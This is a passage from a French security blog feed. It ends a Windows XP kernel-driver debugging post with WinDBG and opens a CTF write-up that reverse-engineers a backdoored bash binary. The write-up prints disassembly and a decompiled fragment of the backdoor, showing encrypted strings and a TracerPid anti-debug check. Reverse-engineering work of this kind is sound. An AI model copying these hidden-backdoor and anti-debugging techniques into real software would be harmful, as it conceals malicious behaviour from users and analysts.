class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;va_list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;n_strlen&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;snprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1024&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;QXL_MINIPORT_DEBUG_PREFIX&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;vsnprintf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1017&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ap&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;VideoDebugPrint&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%s&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Puis, nous devons nous munir du Windows DDK pour Windows 7, que l'on peut trouver &lt;a href="https://www.microsoft.com/en-us/download/details.aspx?id=11800"&gt;sur le site de Microsoft&lt;/a&gt;, pour compiler notre driver. Une fois le DDK téléchargé et installé, nous pouvons exécuter les commandes suivantes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;cd c:\sources\qxl\xddm
set DDKVER=7600.16385.1
scripts\buildAll.bat chk XP
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;La compilation devrait s'effectuer sans problème, et un répertoire "install_chk_wxp_x86" devrait être apparu dans &lt;code&gt;c:\sources\qxl\xddm&lt;/code&gt;.
Une fois notre driver "checked" fraîchement recompilé, on place le PDB généré par la compilation dans le dossier de symboles sur la machine sur laquelle WinDBG est lancé (&lt;code&gt;C:\ProgramData\Dbg\sym&lt;/code&gt; sur mon système). Puis on désinstalle la version "officielle" pour la remplacer par la version "compilée" via le gestionnaire de périphériques. Et là c'est la catastrophe, mais on voit apparaître ces messages dans WinDBG:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;qxlmp&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;InitRam&lt;/span&gt;
&lt;span class="n"&gt;qxlmp&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;InitRam&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;map&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ram&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;filed&lt;/span&gt;
&lt;span class="n"&gt;qxlmp&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FindAdapter&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;findAdapter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;failed&lt;/span&gt;
&lt;span class="n"&gt;qxlmp&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FindAdapter&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;write&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;QXL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;failed&lt;/span&gt;
&lt;span class="n"&gt;qxlmp&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FindAdapter&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;87&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;La fonction "InitRAM" échoue lors de l'appel à VideoPortMapMemory, et nous devons désormais comprendre pourquoi. C'est là où notre cher ami WinDBG entre en jeu.&lt;/p&gt;
&lt;h2&gt;Debug ur kernelz like a t4pz&lt;/h2&gt;
&lt;p&gt;Maintenant que nous avons identifié le coupable, nous pouvons poser un breakpoint sur la fonction &lt;code&gt;InitRam&lt;/code&gt;. Cliquons sur le bouton "Break" de WinDBG, puis entrons les commandes suivantes dans la fenêtre "Command" de WinDbg (celle où s'affichent les messages de debug):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;bp qxl!InitRam
g
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On peut maintenant désactiver puis réactiver le driver QXL, et notre breakpoint sera atteint. Normalement, une fenêtre avec le code source du fichier &lt;code&gt;qxl.c&lt;/code&gt; devrait s'ouvrir, avec la définition de fonction surlignée en rouge, comme sur la capture ci-dessous.
&lt;div style="text-align:center; padding: 5px 0 5px 0"&gt;&lt;a href="media/debugxp/windbg_bp_initram.png"&gt;&lt;img src="media/debugxp/windbg_bp_initram.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/p&gt;
&lt;p&gt;On peut supprimer ce breakpoint (en cliquant sur la pastille rouge), puis en définir un autre sur l'appel à VideoPortMapMemory en cliquant sur la zone vide à gauche du code source. Puis on clique sur "Go" pour arriver à ce point d'arrêt. On s'arrête à nouveau, et maintenant on clique sur le bouton "Step Into" pour rentrer dans cette fonction.&lt;/p&gt;
&lt;p&gt;Une fois dans la fonction &lt;code&gt;VideoPortMapMemory&lt;/code&gt;, nous allons faire un "step-over" (exécution pas à pas sans rentrer dans les appels), afin de localiser plus précisément où les carabistouilles se produisent.&lt;/p&gt;
&lt;p&gt;On remarque assez vite que c'est la fonction &lt;code&gt;VIDEOPRT!pVideoPortGetDeviceBase&lt;/code&gt; qui échoue, et nous allons devoir l'examiner plus en détail. Nous voilà donc repartis à faire un "step over" dans VideoPortMapMemory, puis un "step into" dans &lt;code&gt;pVideoPortGetDeviceBase&lt;/code&gt;. Dans cette fonction, on s'aperçoit que c'est &lt;code&gt;MmMapVideoDisplay&lt;/code&gt; qui échoue. On en déduit déjà que le souci est sûrement un problème impliquant le memory manager. Continuons à creuser cette piste en exécutant pas à pas cette fonction, qui ne fait qu'appeler &lt;code&gt;MmMapIoSpace&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;En exécutant pas à pas &lt;code&gt;MmMapIoSpace&lt;/code&gt;, on se rend compte que la fonction problématique est &lt;code&gt;nt!MiReserveSystemPtes&lt;/code&gt;, qui renvoie NULL au lieu de renvoyer un pointeur vers un MMPTE décrivant la zone réservée par le kernel, cf &lt;a href="https://github.com/reactos/reactos/blob/master/ntoskrnl/mm/ARM3/iosup.c#L100"&gt;l'implémentation de MmMapIoSpace de ReactOS&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;On peut ainsi se douter que notre cher Windows n'arrive pas à réserver assez de "SystemPtes" pour notre driver, pour une raison inconnue. Ces SystemPtes jouent un rôle crucial dans la gestion de la mémoire sous Windows, mais je ne détaillerai pas plus dans cet article par manque de connaissances sur le sujet (mais peut-être que j'en parlerai dans un futur article, qui sait :þ). Notre objectif principal sera de faire en sorte qu'il y ait assez de ces SystemPtes pour que la fonction InitRam aille jusqu'au bout et que le driver se charge.&lt;/p&gt;
&lt;p&gt;En fouillant un peu dans les internets, je finis par découvrir une &lt;a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc976159(v=technet.10)"&gt;clé de registre&lt;/a&gt; bien sympathique: &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\SystemPages&lt;/code&gt;, qui contenait une valeur sortie de nulle part. J'essaie donc de réinitialiser cette valeur à sa valeur par défaut, c'est-à-dire 0, puis redémarrer ma VM XP, et pas de bol, le driver ne se charge toujours pas. Ayant flairé le bon filon, j'inspecte les autres valeurs dans &lt;code&gt;HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\&lt;/code&gt;, et je trouve une autre valeur intéressante, "DisablePagingExecutive" qui était mise à 1, au lieu de 0.&lt;/p&gt;
&lt;p&gt;Je repasse donc cette valeur à 0, redémarre ma VM et ô miracle, le driver QXL tant espéré se charge enfin correctement !&lt;/p&gt;
&lt;p&gt;En effet, quand la clé "DisablePagingExecutive" est à 0, Windows écrit les pages des sections "pageables" des drivers ou du kernel non utilisées dans le pagefile.sys, pour libérer de la RAM physique et donc des précieux SystemPtes (qui servent à décrire la mémoire virtuelle kernel-land). Cependant, lorsque cette valeur est à 1, Windows ne fait aucun nettoyage, et les pages inutilisées encombrent la RAM pour rien sans pouvoir être "swappées", et on court le risque de manquer de SystemPtes.&lt;/p&gt;
&lt;p&gt;Cet article arrive à sa fin, et comme vous pouvez le constater, il est le premier d'une série d'articles (je l'espère, si la Sainte Flemme ne prend pas le dessus) sur le ring0/Windows Internals, en essayant de taper sur des Windows récents cette fois-ci.&lt;/p&gt;
&lt;p&gt;That's all folks ! :þ&lt;/p&gt;</content><category term="Hacking"/><category term="kernel"/><category term="Windows"/><category term="ring0"/><category term="PTE"/></entry><entry><title>Write-UP AeroCTF 2021: BashD00r (500 pts)</title><link href="/write-up-aeroctf-2021-bashd00r-500-pts.html" rel="alternate"/><published>2021-03-02T21:54:00+01:00</published><updated>2021-03-02T21:54:00+01:00</updated><author><name>aaSSfxxx</name></author><id>tag:None,2021-03-02:/write-up-aeroctf-2021-bashd00r-500-pts.html</id><summary type="html">&lt;p&gt;Ce challenge est le deuxième challenge que j'ai pu résoudre à l'AeroCTF, et un des plus difficiles du CTF (seulement 2 solves en comptant le mien). L'énoncé était le suivant.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There seems to be something wrong with our bash.&lt;/p&gt;
&lt;p&gt;Can you see if anyone has entered the backdoor?&lt;/p&gt;
&lt;p&gt;bash.7z&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;On nous donne une archive qui contient un binaire nommé "bash". Il s'agit d'un GNU bash mais backdooré, et on devra trouver la backdoor pour obtenir le flag.&lt;/p&gt;
</summary><content type="html">&lt;p&gt;Ce challenge est le deuxième challenge que j'ai pu résoudre à l'AeroCTF, et un des plus difficiles du CTF (seulement 2 solves en comptant le mien). L'énoncé était le suivant.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There seems to be something wrong with our bash.&lt;/p&gt;
&lt;p&gt;Can you see if anyone has entered the backdoor?&lt;/p&gt;
&lt;p&gt;bash.7z&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;On nous donne une archive qui contient un binaire nommé "bash". Il s'agit d'un GNU bash mais backdooré, et on devra trouver la backdoor pour obtenir le flag.&lt;/p&gt;


&lt;h2&gt;Bash backdoor, Pt. I&lt;/h2&gt;
&lt;p&gt;En ouvrant le fichier dans IDA, le point d'entrée n'est pas correctement désassemblé. En effet, il est à cheval sur les sections ".text" et ".data". On obtient un code désassemblé après avoir défini les données comme instructions. On peut ainsi trouver la fonction main:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;_data           segment dword public &amp;#39;DATA&amp;#39; use64
.data:000000000001ECA2                 assume cs:_data
.data:000000000001ECA2                 ;org 1ECA2h
.data:000000000001ECA2                 db  1Eh
.data:000000000001ECA3                 db 0FAh
.data:000000000001ECA4 ; ---------------------------------------------------------------------------
.data:000000000001ECA4                 xor     ebp, ebp
.data:000000000001ECA6                 mov     r9, rdx
.data:000000000001ECA9                 pop     rsi
.data:000000000001ECAA                 mov     rdx, rsp
.data:000000000001ECAD                 and     rsp, 0FFFFFFFFFFFFFFF0h
.data:000000000001ECB1                 push    rax
.data:000000000001ECB2                 push    rsp
.data:000000000001ECB3                 lea     r8, __libc_csu_fini
.data:000000000001ECBA                 lea     rcx, __libc_csu_init
.data:000000000001ECC1                 lea     rdi, main
.data:000000000001ECC8                 call    cs:off_11EF38
.data:000000000001ECCE                 hlt
.data:000000000001ECCF
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Cette fonction est énorme, merci les fonctions "static" inlinées. Mais on voit rapidement qu'elle appartient au fichier "shell.c" grâce à des fonctions de debug qui affichent aussi le numéro de ligne, qui ressemblent à ceci:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;.data:00000000000206A5                 call    set_default_locale
.data:00000000000206AA                 call    getuid_0
.data:00000000000206AF                 mov     ebx, eax
.data:00000000000206B1                 cmp     eax, cs:cur_user__uid
.data:00000000000206B7                 jz      short loc_20731
.data:00000000000206B9                 mov     rdi, cs:cur_user__username
.data:00000000000206C0                 test    rdi, rdi
.data:00000000000206C3                 jz      short loc_206D6
.data:00000000000206C5                 mov     edx, 1642
.data:00000000000206CA                 lea     rsi, aShellC    ; &amp;quot;shell.c&amp;quot;
.data:00000000000206D1                 call    print_free
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Du coup j'ai téléchargé le code source de bash 5.1 (la version se trouve facilement dans les strings), et essayé d'identifier les fonctions à partir du fichier source. Mais le code désassemblé correspondant au source suivant:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;getuid&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current_user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;uid&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;u&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;FREE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;current_user&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_name&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;est à la ligne 1292 dans le code source au lieu de 1642 dans le binaire. On peut déduire que le binaire a été recompilé avec la backdoor ajoutée au code source.&lt;/p&gt;
&lt;p&gt;Pendant que j'identifiais les fonctions par rapport au code source, je suis tombé sur cette fonction qui ne correspondait à rien:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v26&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__readfsqword&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x28u&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;sh_malloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;4096L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;shell.c&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;587L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;511&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFFFFFFFFFFFFFF8LL&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mf"&gt;8L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFFFFFF8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4096&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xDBEF3510A9ECE437LL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xB557D3ED25ADEB3FLL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;decrypt_string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fopen_0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;r&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;exit_0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sh_malloc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;1024L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;shell.c&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;645L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Cette fonction est appelée via un init vector par &lt;code&gt;__libc_csu_init&lt;/code&gt;, avant que la fonction &lt;code&gt;main&lt;/code&gt; soit appelée. 
La backdoor vérifie si le processus est en train d'être debug en regardant le champ "TracerPid" dans &lt;code&gt;/proc/self/status&lt;/code&gt;. Les chaînes sont chiffrées avec un algorithme simple, que j'ai réimplémenté en Python.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;decryptbuf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
